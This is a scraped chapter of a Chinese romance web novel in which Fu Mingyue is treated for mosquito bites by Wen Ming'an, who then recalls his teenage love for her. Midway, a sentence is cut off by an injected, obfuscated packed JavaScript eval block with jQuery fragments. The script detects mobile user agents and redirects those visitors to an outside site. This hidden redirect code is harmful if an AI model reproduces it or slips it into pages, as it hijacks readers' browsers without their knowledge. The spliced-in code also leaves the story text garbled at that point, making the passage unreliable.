33. 彼时年少

作品:《绝对沉沦[破镜重圆]

    花露水的香味浓郁,转眼香气就灌满了整个卧室,空气中都流动着花露水的芳香,十分好闻。


    傅明月也迷迷糊糊地被熏醒了,只是在那阵浓香里还夹杂着些几不可闻的酒味,淡淡的,掺在花露水的香气里,很难辨别,只是温明安近在眼前,呼吸间也能闻到他身上不同寻常的味道。


    温明安身上的味道总是淡淡的,带着些薄荷的清香,好似夏日空调里吹出的一缕风,又像是清清爽爽的白开水,但此刻喝了酒,更像是一杯醇香的烈酒,掺了些冰,也冷冷的。


    傅明月闻到他身上若有似无的酒味,突然清醒了过来,她打量着眼前的男人。


    他垂着眸,正细心地给她往手臂上涂着花露水,低着头,碎发坠落在额角,也一并遮住了他脸上的神情。


    温明安没说话,根本没发现她醒过来了。


    傅明月扯了扯压在身下的空调被,又踢了踢腿,故意闹出了些许动静来,成功地吸引了他的注意力。


    她努力让自己看起来不那么在意,只是说出的话还是难掩不快,“你去哪了?怎么身上有股酒味?”


    她眼睛幽幽地看着他,“你不是去买蚊香吗?怎么还去喝酒了?”


    大半夜被她支来使去,温明安冷笑了一下,话也不好好说,故意往她心窝上扎刀子,“傅明月,你不会真的以为我是大半夜去给你买蚊香吧?”


    在他刻薄的语气像伤人的刀,傅明月隐隐听出了几分“你也配吗”的意思,好似猛然吃进了一颗柠檬,满心发酸,她生起了闷气,嘴硬地回上一句,“不是就不是,反正你已经买回来了。”


    这么一想,傅明月心里又好受多了,他大半夜不辞辛劳去给她买蚊香,她决定大度地不和他计较。


    花露水的味道很香,是傅明月从来没有闻过的味道,她觉得有些新鲜,忍不住赞叹,“好香的香水。”


    香气是从手臂上传来的,她抬起了手往鼻子上闻了闻,才发现原来是温明安掌心沾了些花露水正往她手臂上抹了抹,皮肤沾了些凉意,空调冷风一吹,更是舒服得不像话。


    原本被蚊子叮得发痒的地方,沾了些湿意,消解了几分痒,十分有效。


    香气从皮肤里飘了出来,人也像是浸在那股香里,傅明月很喜欢这样的味道,眉眼忍不住弯了弯,但很快又有些疑惑,“你为什么把香水往我身上涂?”


    而且这好像不是涂香水的正确方式。


    傅明月肚子里满腹疑惑,但也识趣地没有提出来,温明安不是会用香水的人,不会用也情有可原。


    只是他大半夜给她买了一瓶香水,还往手上涂,着实有些诡异。


    她正乱七八糟地思索着莫不是他去喝酒时什么人给他送的,正要往下乱想时,却听他解释:“不是香水,这是驱蚊水。”


    温明安只给她手上被蚊子咬过的位置涂过,很快就把瓶盖拧上了,空气中那阵浓郁的香味才稍淡了一些,微微打开一点窗,室内的味道才散去了几分。


    傅明月从没用过花露水,她懵懂地点了点头,又听他道:“以后睡前涂上,晚上蚊子就不会来咬你了。”


    “我脖子上也被咬了,你帮我也涂涂。”


    傅明月全身上下都被蚊子“亲吻”过,她捋了捋那头因为睡过去而有些凌乱的小卷发,又把盖在颈后的发撩了起来,露出一截纤细脆弱的脖子,上面稀稀落落地印着几个红点,好不狼狈。


    她被蚊子咬得精神都有些不济,像一枝蔫头耷脑的花。


    温明安也没跟她计较,手上沾了些花露水往她脖子上抹,指腹从她的皮肤上游动,她脖子上陡然爬上几分颤栗,连同她撩起那把头发的手也轻轻地颤了颤,呼吸也不自觉地发抖。


    但好在温明安动作利索,手指并没有在她脖子上停留太久,很快就涂完了。


    傅明月不止手上脖子都被咬了,腿上也有,见温明安又要把瓶盖拧上,她忙道:“我这下面也被咬了。”


    她把睡裙稍稍拉高,穿的是简约款的连衣裙,丝绸材质的,波浪纹的裙摆,摸上去丝滑柔软,但只到膝盖的高度,她拉高了裙摆,两条白皙长腿就这么暴露在眼前。


    她皮肤是奶白色的,从膝盖到小腿的位置都被咬出了零星的红点,有些醒目,被蚊子咬到的位置被她用指甲抓挠过,上方还残余着暂且还没消去的红痕,细细长长的,好似水彩画下的一笔。


    温明安是站在她身前的,离得很近,她拿被蚊子叮过的右腿轻轻踢了踢他,示意他把小腿也涂上花露水。


    但也不知道她这句话哪里招惹到他了,他神色陡然一顿,转眼就把花露水拧紧,而后往她手上一扔,声线都在发冷,话都是一个字一个字地蹦出来的,“你自己涂。”


    说完就阔步离开了,带走了一阵风,冷冷的,没一会儿,门“嘭”的一下关上了。


    正是午夜时分,那传来的巨响好似凭空劈下的一道惊雷,劈得室内摇摇欲坠,傅明月也被震得头脑发懵。


    她握紧手里那支绿沉沉的花露水,呆呆地地望着那扇漆黑的木门,一双浅棕色的眸中映着光,此刻却有些茫然,不理解原本好好的人,怎么突然就变了脸。


    傅明月认真想了好一会儿,也没想出个所以然来。


    温明安一贯性情如此,年少时是这样,眼下长大了几岁,似乎也没有多少变化,总是情绪说来就来,让人捉摸不透,傅明月习惯他这样的反复无常,也没想太多。


    已经是下半夜了,傅明月有些困得睁不开眼了,她打开花露水,像模像样地往掌心里倒上几滴,双手合起搓了搓,等掌心沾满了花露水,又闭上眼闻了闻,才往腿上慢悠悠地擦上。


    直到膝盖、小腿,连脚背都被涂上了花露水,她才拉着空调被舒舒服服地躺了下来,安安稳稳地睡了过去。


    *


    温明安躺在飘窗上,在黑夜中睁眼望着天花板盯了好一会儿,年少那难以启齿的梦却始终在脑中挥之不去。


    他也不知望了多久的天花板,最后还是不知不觉地睡了过去,但梦里的一切却还比他睡前的记忆还要真实。


    年少那段青涩纯粹的感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885322|176177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    情,纵使再怎么刻意遗忘,可在午夜梦回时梦见女孩乍然欢喜的模样,又怎么也忘不了,好似昔日吃过的一口糖,刻在记忆深处,回忆也流淌着浓稠的甜意。


    温明安很难说他到底为什么喜欢她,起初只是觉得大小姐心肠软烂,有着一副无处安放的善心,总是多管闲事,也自作多情,看起来有些单纯得可笑。


    他有时觉得她挺像电视里那种大户人家的千金小姐的,总是见不得人间疾苦,凡是看到的,总要多管闲事地插手,只是她从不眼高于顶,也不盛气凌人。


    她也高傲,像傲慢的孔雀,永远高高地扬起头,但看起来总有些虚张声势,好似故意扮出来给旁人看的,唯独身上那不能吃苦的娇气有些真,却偏偏让人很难讨厌她,明媚得像旭日初升的骄阳。


    那时骄阳独独落在他身上,再是冷硬如冰的心,也在不知不觉中融化,而后蜕变成水,任她搅得风起云涌。


    年少的女孩明目张胆地追求着他,爱意犹如迸发的江河海水,陡然把他淹没,后来他再也无法忽视她的存在,难以控制地把目光聚焦在她身上。


    她很爱笑,笑起来眼里像装了一轮皎洁的月,有时又像冬日里悬在高空里的骄阳,暖融融的。


    她也很爱漂亮,明明校服穿起来都一样,但她总是往衣服上挂上一些别样的小配饰,显得分外与众不同,有时温明安遥遥地从人群里看见她,一眼就能认出她来。


    她喜欢发夹,每天都会换上不同的发夹,什么款式的都有,偏爱大海的颜色和鹅黄色,所有的发夹里,只有这两个色系最多,偶尔也喜欢一些绿色。


    她和她的名字一样,像月亮一样皎洁、纯澈,像一张白纸,没有沾染一点点人间污秽,美好得不像话,虚虚地挂在天空,可望不可及,但偏偏月亮坠落下来,又让他伸手就能碰到。


    从小到大,温明安拥有的太少了,得到一切,又总是在失去,犹如指尖的流沙,到头来什么也没有。


    在那段青涩的年少岁月里,年少的女孩就像他幼时曾得到的一颗糖,总是忍不住攥紧在手里,偷偷藏起来。


    舍不得吃,又总是贪念她的甜,受不住诱惑,偶尔尝上一口,轻而易举就能尝到她身上释放出来的浓稠的爱意,甜腻得过分,比他吃过的任何甜品都要甜,让他忍不住上瘾。


    年少的傅明月不懂,曾托着腮,好奇不已地问他,为什么总喜欢甜食,他看起来不是爱吃的甜的人。


    那时他沉默了许久,说,可能是没有吃过很多甜。


    在那段苦涩不堪的人生里,一颗凭空出现的糖果,裹着蜜糖般的甜,足以短暂地消解掉一切痛苦,好似寒冬无处可归的小女孩手里攥紧的那一支又一支的火柴,一根又根地点燃。


    怀揣希望的火光,明知会走向生命的尽头,海市蜃楼一般的虚幻,却总是让人迷醉、沦陷。


    十七岁那年,他掌心出现了这样一颗糖,食髓知味,念念不忘。


    但他其实也知道那是假的,糖会过期,她也一样,只是还是忍不住对她抱有别样的幻想。